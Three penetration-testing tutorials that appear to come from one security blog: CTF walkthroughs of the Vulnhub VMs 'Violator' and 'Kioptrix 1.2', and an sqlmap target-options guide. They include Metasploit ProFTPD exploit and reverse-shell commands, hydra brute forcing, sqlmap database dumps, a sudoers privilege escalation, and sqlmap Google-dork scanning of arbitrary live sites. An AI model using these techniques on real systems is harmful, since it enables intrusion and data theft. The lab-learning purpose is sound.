Hack the violator (CTF Challenge)

Welcome to another boot2root / CTF this one is called Violator. The VM is set to grab a DHCP lease on boot. As, there is a theme, and you will need to snag the flag in order to complete the challenge. for  downloading open this link: https://www.vulnhub.com/entry/violator-1,153/
Some hints for you:
§  Vince Clarke can help you with the Fast Fashion.
§  The challenge isn't over with root. The flag is something special.
§  I have put a few trolls in, but only to sport with you.

Penetrating Methodologies
§  Network scaning (netdiscover, nmap)
§  Abusing HTTP web Pages
§  Dictionary generating (password)
§  Exploit ProFTPD 1.3.5rc3 (Metasploit)
§  Dictionary generating (username)
§  FTP Brute-force attack (Hydra)
§  Find faith_and_devotion file
§  Post-exploit ProFTPD-Backdoor(Metasploit)
§  Get root access
§  Download password protected rar file
§  Crack password (john)
§  Extract hidden text behind Image (ExifTool)
§  Decrypt the cipher (Engima Machine cipher)
§  Tweet author

Lets Start!!!
Let’s start with getting to know the IP of VM (Here, I have it at but you will have to find your own)

nmap -A
From its scanning result, I found port 21 and 80 is opened, lets explored them.

Knowing port 80 is open in victim’s network I preferred to explore his IP in the browser. At first glance, we saw the following web page.  When couldn’t found something suspicious, so we try to check its source-code.

Hmmm!! After exploring source code page, I found the URL given for “Wikipedia” and it looks a little bit doubtful.

When I opened above mention URL, then we got a Wikipedia page for “violator (album)”. Might be the author has left this URL as hint for password dictionary?
And at the end of this page you will notice some track list written by Martin L. Gore. We copied all 9 music track tittle in text file by deleting space between phases of word and saved as dict.txt, so that we can use it later.

Since we have enumerated the ftp (ProFTPD 1.3.5rc3) was running in victim’s pc so we check its exploit in metasploit and luckily I found ProFTPD 1.3.5rc3 was exploitable. Therefore I execute following command to lunch the attack against ftp to gain command shell of victim’s machine.
use exploit/unix/ftp/proftpd_modcopy_exec
msf exploit(unix/ftp/proftpd_modcopy_exec) > set rhost
msf exploit(unix/ftp/proftpd_modcopy_exec) > set SITEPATH /var/www/html
msf exploit(unix/ftp/proftpd_modcopy_exec) > exploit

Booomm!! We got command shell of victim’s machine in our Metasploit framework and after then finished the task by grabbing flag.txt file. Further I execute following command for extracting more information for post exploitation.
I love meterpreter session, therefore, firstly I had upgraded command session into meterpreter session and then move inside /home directory to identify user’s directories.
session -u 1
session 2
cd /home

As we know home directory always holds some directories for the system’s users and here found 4 directories.
Since we have dict.txt file generated above with the help of Wikipedia; lets add these 4 names (af, aw dg, mg,) in a text file and saved as user.txt.

As we have created dictionary for user-pass combination, so let’s use it for FTP brute-force attack. With help of following command we try to crack password for ftp and successfully obtained two credential for FTP login.
hydra -L user.txt -P dict.txt -u ftp

With help of above credential we logged into FTP as af and fetched faith_and_devotion from inside the path /home/mg.
user: af
password: enjoythesilence
get faith_and_devotion

After downloading the file in our local machine, we open it through cat command and notice given Lyrics. This could be some kind of hint which author has left for us.
cat faith_and_devotion

So I use Google to get closer to Wermacht (Wehrmacht) with 3 rotaor as suggested by author to use. I found it something related to Enigma Machine cipher.

Conclusion: Might be the final flag has been encrypted by using enigma machine cipher and with help of faith_and_devotion file instruction we can decrypted that encryption.

Coming back to meterpreter shell, then we moving ahead and I found the configuration file of proftpd from inside /dg/bd/etc.
cd /home
cd /dg
cd bd
cd /etc

Then with help of cat command we opened this file and notice the FTP listening port is 2121.
cat proftpd.conf

Then with help of following command we got proper tty shell of victim’s VM machine and check sudo permission for user:dg.
python -c "import pty;pty.spawn(‘/bin/bash’)"
su dg
sudo -l
Here you can observe the user:dg can run proftpd as root.

Then we ran following command to check network status for all TCP port but couldn’t saw port 2121 at Listen state.
netsat -antp
Then we ran proftpd with sudo then again check network status for all TCP port and this time found port 2121 at Listen state.
sudo /home/dg/bd/sbin/proftpd
netsat -antp

Thus we have forwarded the remote service at our local network to set-up TCP relay with help of below commands:
portfwd add -L -l 2121 -p 2121 -r
Then quickly search for metasploit exploit for ProFTPD and luckily found “ProFTPD-1.3.3c Backdoor Command Execution” as this module exploits a malicious backdoor that was added to the ProFTPD download archive.
Thus to lunch the attack type:
use exploit/unix/ftp/proftpd_133c_backdoor
msf exploit(proftpd_133c_backdoor) > set payload cmd/unix/reverse_perl
msf exploit(proftpd_133c_backdoor) > set lhost
msf exploit(proftpd_133c_backdoor) > set rhost
msf exploit(proftpd_133c_backdoor) > set rport 2121
msf exploit(proftpd_133c_backdoor) > exploit

Yuppie!! We got command shell session 3 with root privilege.

So we have root access of victim’s machine, therefore, let’s quickly get to the final flag, but as I told you that I love meterpreter session so let’s upgrade this command shell session also.
sessions -u 3
session 4
cd /root

Here you will get a directory /basildon and a file flag.txt. By reading the flag.txt you will realized, it is not the original flag.txt file which author has asked to capture. Therefore we downloaded /basildon rar file in our local system.
download .basildon /root/Desktop

It was a password protected rar containing an image file and to extract this folder we required the password.

Now John cannot directly crack this key, first we will have to change it format, which can be done using a john utility called “rar2john”.
Syntax: rar2john [location of key]
rar2john crocs.rar > hash
Now let’s use John the Ripper to crack this hash with help of wordlist we have generated above.
john hash --wordlist=dict.txt

So the password for crocs.rar is “World in My Eyes”; let’s open the folder and get the image “artwork.jpg”.

So we got below image of violator and I was pretty sure that it must be holding hidden message for the flag.

Thus we used exiftool for extracting metadata from inside it. And after running following command we found the cipher text. Let me remind you that, in above enumerated “faith_and_devotion file we got some hint for Enigma Machine Cipher. 
exiftool artwork.jpg

Copy the cipher text and then open this link for decrypting enigma and past the cipher. Then use faith_and_devotion text as instructions. 

* Use Wermacht with 3 rotors
* Reflector to B
Initial: A B C
Alphabet Ring: C B A
Plug Board A-B, C-D

Hurray!!! We got the plaintext message. The message was “ONE FINAL CHALLENGE FOR YOU BGHX” and to get this final flag you can tweet the author.

Hack the Kioptrix Level-1.2 (Boot2Root Challenge)

Hello friends! Today we are going to take another CTF challenge known as Kioptrix: Level1.2 (#3) and it is another boot2root challenge provided for practice and its security level is for the beginners. So let’s try to break through it. But before please note that you can download it from here https://download.vulnhub.com/kioptrix/KVM3.rar
Penetrating Methodologies (Method 1)
  • Network Scanning (Nmap, netdiscover)
  • Surfing HTTP service port (80)
  • SQLMAP Scanning
  • Extract databases and user credentials
  • SSH access to the target with a specific user
  • Exploiting target with SUID bit and SUDO binaries
  • Get Root access and capture the flag.
Penetrating Methodologies (Method 2)
  • Network Scanning (Nmap, netdiscover)
  • Surfing HTTP service port (80)
  • Identifying exploit for the vulnerable CMS application
  • Exploiting the target via Metasploit
  • Get Root access and capture the flag.
Lets Breach !
Start off with finding the target using :

Our target is Now scan the target with nmap:
nmap -A

With the nmap scan result, you can see that HTTP services are running on 2 ports i.e ports 22,80

As we have HTTP service running we opened it in our browser with the IP . There is nothing significant on this webpage .

Click on the Blog option and below page will appear. Here we will get a clue to check out the page http://kioptrix3.com/gallery 

Before navigating to the website , lets map the host entries for the URL kioptrix3.com to IP in the hosts file as follows :
For Windows C:\windows\system32\drivers\etc\hosts
For Linux: /etc/hosts

Browse to the website  http://kioptrix3.com/gallery  and navigate on few items

After navigating through the site, I found that by clicking on sorting options and photo id, the URL had a parameter of “id” which could signify a vulnerability to SQL injection. After putting ' after php?id=1 , i.e (by trying with http://kioptrix3.com/gallery/gallery.php?id=1’ ) the  SQL error prompt appears. Hence this means that URL is prone to SQL injection.

Lets’ enumerate the databases with SQLMAP command to get more details
sqlmap -u kioptrix3.com/gallery/gallery.php?id=1 --dbs –batch

Upon successful completion of the SQLMAP scan, we came to know that the following databases listed are available in the website.

sqlmap -u kioptrix3.com/gallery/gallery.php?id=1 -T dev_accounts --dump

Upon further scan for the gallery database and specific table dev_accounts, we happen to find out 2 usernames as listed below

Perform SSH with the user loneferret as follows:

Let’s do the directory listing to find out more details


Upon listing we find that we have 2 files checksec.sh and CompanyPolicy.README . I didn’t find checksec.h file of much help and proceeded to extract the contents of CompanyPolicy.README

cat CompanyPolicy.README

The output of the CompanyPolicy.README file reveals (refer screenshot below) , that we may need to perform a sudo for the ht (editor).This may be a clue going forward

At this moment , lets also check the contents of the sudo file
sudo –l
As per the output , the user loneferret is allowed to run HT Editor as sudo and that there is no password (NOPASSWD) set for this user , while executing the command /usr/local/bin/ht
Run the HT Editor as sudo
Note : sudo ht will allow to edit any file on the system. Hence we will edit the /etc/sudoers file. Before editing the sudoers file make sure to export TERM so we can use graphical component of our command

export TERM=xterm-color
sudo ht /etc/sudoers

Once done, the HT editor will open up

Press F3 to open the file

Below is snippet of /etc/sudoers file . Edit the file so that we can use sudo without limitations.

Refer the below entry in the file
loneferret ALL= NOPASSWD:  !/usr/bin/su , /usr/local/bin/ht

Now change the entry for the user loneferret as follows

loneferret ALL= (ALL) NOPASSWD: ALL

Upon changing the contents of the file , lets run  sudo su command from the users’ terminal
sudo su

Hurrah ! we have got the ROOT access !!

cd /root

On performing the directory listing  , we will get the congrats.txt file !

Method 2

Lets explore another method of performing the same task

The curl command will provide the details of website . With this we also came to know that it is a CMS website as highlighted below in yellow (LotusCMS)

Now we will try to search for some exploit available in the Metasploit and fortunately we happen to found the exploit for LotusCMS
searchsploit LotusCMS
To use this exploit simply type the following in Metasploit:
use exploit/multi/http/lcms_php_exec
set rhost
set uri /

Perform the directory listing and we will observe the gallery folder
Now navigate to the gallery folder and perform the directory listing . Here we can see many files .I browsed through many of these files ; of which the file gconfig.php seems to be interesting .
cd gallery

Now lets see if we can get some good information from gconfig.php file
cat gconfig.php
The output of the file shows the credentials for the gallery database
Username :root
Password : fuckeyou

Lets perform dirb for the URL
With this we will get information of many directories as shown in output below .However the directory phpmyadmin seems to be quite interesting , as it may have some important information to display  

Browse the URL and enter the credentials (received from above)

Navigate to the gallery database, click on dev_accounts. Then click on the SQL tab and enter the SQL query below. We now have the usernames and password hashes !
SELECT * FROM dev_accounts

For cracking the password hashes , we used the http://www.hashkiller.co.uk/ site

Hurray ! We got the passwords as starwars and Mast3r!

Comprehensive guide to Sqlmap (Target Options)

Hello everyone. This article will focus on a category of sqlmap commands called the “target commands.” Many might not have tried these commands but they can be proved very useful in corporate world.

In this article we’ll be shifting our focus back on one of the finest tools for SQL penetration testing available called SQLMAP.
This tool comes inbuilt in Kali Linux however you can download its python script from here too.
Since, it is a crime to attack a live website, we are restricting our focus on the websites that are made for this testing purpose only. We have also used a local PC with sql dhakkan installed in it. You can refer to the articles published earlier to get an idea on how to configure dhakkan in your machine too.
So, without further ado, let’s dive in.

First and foremost, I configured SQL dhakkan in a machine with IP address
I go to the lesson 1 tab for error based SQLi.

Target URL

One of the most basic commands ever. Every database has a webpage and every webpage has a URL. We will attack these URLs to get our hands on the database inside!
By adding   –u in sqlmap command we can specify the URL we are targeting to check for sql injection. It is the most basic and necessary operation.
Here, let’s fetch all the databases that IP address might have by suffixing --dbs

Now, all the databases available in the given IP have been dumped!

Targeting Log File

Many tools save a log file to keep a record on the IP addresses communicating back and forth. We can feed one such log file to the sqlmap and it will automatically test all the URLs in that log file.

Log file can have a record of various targets in reality but here we’ll be capturing the request of a website in burp suite and then saving its log file for simplicity. Let’s turn on the intercept then.

Go to the website “leettime.net/sqlninja.com/tasks/basic_ch1.php?id=1 and capture the request in burp. It has an SQL injection lab installed over public IP for penetration testers.

Captured request will be something like:

Now right click->save item and save this request as “logfile” on desktop. No need to provide any

extensions here.

Now, open the terminal and type in the following command to automate the attack from the log file itself.

sqlmap –l /root/Desktop/logfile 

Target Bulkfile

Bulkfile is a text file that has the URLs of all the target machines each in a single line with the exact URL of where the attack is applicable.
So, let’s create a bulkfile on the desktop called bulkfile.txt.

touch bulkfile.txt
sudo nano bulkfile.txt

This will open up a command line text editor called ‘nano’. Let’s feed in some URLs.

To save the file: CTRL+O -> ENTER
To exit nano: CTRL+X

We are all set to attack both of these URLs together by the command:

sqlmap –m /root/Desktop/bulkfile.txt - -dbs

We’ll get the list of databases and we can continue with our other URL.

Target Google Dorks

We can also automate the process of finding SQLi by adding in a Google dork target. What it does is that it will start searching for all the websites with given Google dork and automatically keep applying sqlmap on the websites that matches the dork. Disclaimer: this attack will automatically be applied to any website that matches the dork, be it government or military, which is a serious criminal offence so it is advised that you play with it carefully.

As we know that error based SQL injections are often found in URLs having ‘.php?id=’ in them, we can apply the inurl Google dork to find all the websites with this in its URL.

sqlmap –g “inurl:?id=1”

As you can see sqlmap has found a website with ‘?id=1’ in it’s URL.
I’ll be pressing n and cancelling the sqlmap scan since it is a crime to do so.

We can also specify the specific page number on which we want to apply the Google dork at by the option “- -gpage”

Target HTTP requests

An HTTP client sends an HTTP request to a server in the form of a request message which includes following format:

·         A Request-line

·         Zero or more header (General|Request|Entity) fields followed by CRLF
·         An empty line (i.e., a line with nothing preceding the CRLF) indicating the end of the header fields
·         Optionally a message-body

The Request-Line begins with a method token, followed by the Request-URI and the protocol version, and ending with CRLF. The elements are separated by space SP characters.                       Request-Line = Method SP Request-URI SP HTTP-Version CRLF

Hence, we can intercept these HTTP requests, save it in a txt file and automate the attack with sqlmap.

I captured the request of the website “master.byethost18.com/Less-1/?id=1 in burp and will save it in a txt file called “httprequest.txt” and run the command:

sqlmap –r /root/Desktop/httprequest.txt

As you can see that sqlmap has detected the target in the txt file.

We can further apply - -dbs to fetch all the databases.

I hope that this article was helpful and the readers have learnt some new options that they might not have heard about before. Many more options will be coming in the next articles. Keep hacking!